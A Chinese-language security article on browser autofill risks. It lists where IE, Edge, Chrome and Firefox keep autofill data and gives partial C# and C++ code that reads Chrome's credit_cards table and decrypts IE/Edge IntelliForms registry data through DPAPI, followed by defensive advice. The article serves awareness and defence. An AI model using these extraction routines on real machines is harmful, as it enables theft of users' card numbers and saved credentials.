浏览器的自动填充功能真的安全吗?我看未必!
字数 1339 2025-08-18 11:37:15
浏览器自动填充功能的安全风险与数据提取技术分析
1. 浏览器自动填充功能概述
现代浏览器(包括IE、Edge、Chrome和Firefox)都提供了自动填充功能,可以存储用户的各种信息(包括信用卡数据、用户名、密码等),并在需要时自动填充到表单字段中。这种功能虽然提供了便利,但也带来了严重的安全隐患。
2. 自动填充数据的存储位置
不同浏览器将自动填充数据存储在不同的位置:
2.1 Internet Explorer (IE) 和 Microsoft Edge
- 注册表键值:
HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\IntelliForms\FormData HKEY_CURRENT_USER\Software\Classes\LocalSettings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms\FormData HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\IntelliForms\Storage1 HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\IntelliForms\Storage2
2.2 Google Chrome
- SQLite数据库文件:
%LocalAppData%\Google\Chrome\UserData\Default\Web Data
2.3 Mozilla Firefox
- SQLite数据库文件:
%AppData%\Mozilla\Firefox\Profiles\{uniqString}.default\formhistory.sqlite
3. 数据加密机制
3.1 IE、Edge和Chrome的加密方式
这些浏览器使用Windows DPAPI(数据保护应用编程接口)对自动填充数据进行加密/解密:
- 加密/解密过程在同一用户环境下自动完成
- 不需要用户干预或输入额外密码
- 任何运行在同一用户环境下的脚本或代码都可以调用DPAPI进行解密
3.2 Firefox的特殊情况
Firefox在存储自动填充数据时完全不进行加密,所有数据都以明文形式存储在SQLite数据库中。
4. 数据提取技术分析
4.1 提取Chrome信用卡数据的步骤
- 定位SQLite数据库文件:
%LocalAppData%\Google\Chrome\UserData\Default\Web Data - 查询"credit_cards"表
- 使用DPAPI的CryptUnprotectData函数解密card_number字段
Chrome数据提取代码示例(C#):
string SQLiteFilePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Web Data";
string tableName = "credit_cards";
string ConnectionString = "data source=" + SQLiteFilePath + ";New=True;UseUTF16Encoding=True";
string sql = string.Format("SELECT * FROM {0} ", tableName);
SQLiteConnection connect = new SQLiteConnection(ConnectionString);
SQLiteCommand command = new SQLiteCommand(sql, connect);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
DataTable DB = new DataTable();
adapter.Fill(DB);
4.2 提取IE和Edge数据的步骤
- 访问相关注册表键
- 读取加密的BlobData值
- 使用DPAPI解密数据
IE&Edge数据提取代码示例(C++):
DATA_BLOB DataIn;
DATA_BLOB DataVerify;
std::vector<LPCWSTR> RegKeys;
RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\FormData");
RegKeys.push_back(L"Software\\Classes\\LocalSettings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData");
RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\Storage1");
RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\Storage2");
for(int i = 0; i < 4; i++) {
// 打开注册表键
RegOpenKeyEx(HKEY_CURRENT_USER, RegKeys[i], 0, KEY_QUERY_VALUE, &hKey);
// 读取并解密每个键值
for(int j = 0; j < keyValues.size(); j++) {
RegQueryValueEx(hKey, keyValues[j].c_str(), 0, 0, (LPBYTE)dwReturn, &dwBufSize);
DataIn.cbData = dwBufSize;
DataIn.pbData = dwReturn;
decryptContentDPAPI(&DataIn, &DataVerify);
}
}
4.3 DPAPI关键函数说明
使用CryptUnprotectData函数解密数据:
BOOL CryptUnprotectData(
DATA_BLOB *pDataIn,
LPWSTR *ppszDataDescr,
DATA_BLOB *pOptionalEntropy,
PVOID pPromptStruct,
DWORD dwFlags,
DATA_BLOB *pDataOut
);
重要参数:
pDataIn:指向包含加密数据的DATA_BLOB结构体ppszDataDescr:指向加密数据描述字符串的指针pOptionalEntropy:指向包含额外密钥或熵的DATA_BLOB结构体pPromptStruct:应设置为NULLpDataOut:接收解密数据的DATA_BLOB结构体
5. 安全风险分析
- 低权限攻击:任何运行在用户环境下的恶意代码都可以提取这些数据,不需要特殊权限
- 自动化攻击:攻击可以完全自动化进行,用户无感知
- 数据集中风险:信用卡数据与其他敏感信息存储在同一位置
- 加密缺陷:虽然使用了DPAPI加密,但解密过程过于自动化
6. 防护建议
- 禁用浏览器自动填充功能,特别是对于信用卡等敏感信息
- 使用专用密码管理器而非浏览器内置功能存储敏感数据
- 定期清理浏览器存储的自动填充数据
- 使用虚拟机或沙盒环境进行敏感操作
- 启用双因素认证保护重要账户
- 监控注册表和SQLite数据库的异常访问
7. 结论
浏览器自动填充功能虽然提供了便利,但其安全实现存在严重缺陷。攻击者可以相对容易地提取存储的敏感信息,包括信用卡数据。用户应当充分了解这些风险,并采取适当措施保护自己的敏感信息。对于企业环境,应考虑通过组策略禁用这些功能或实施额外的安全控制措施。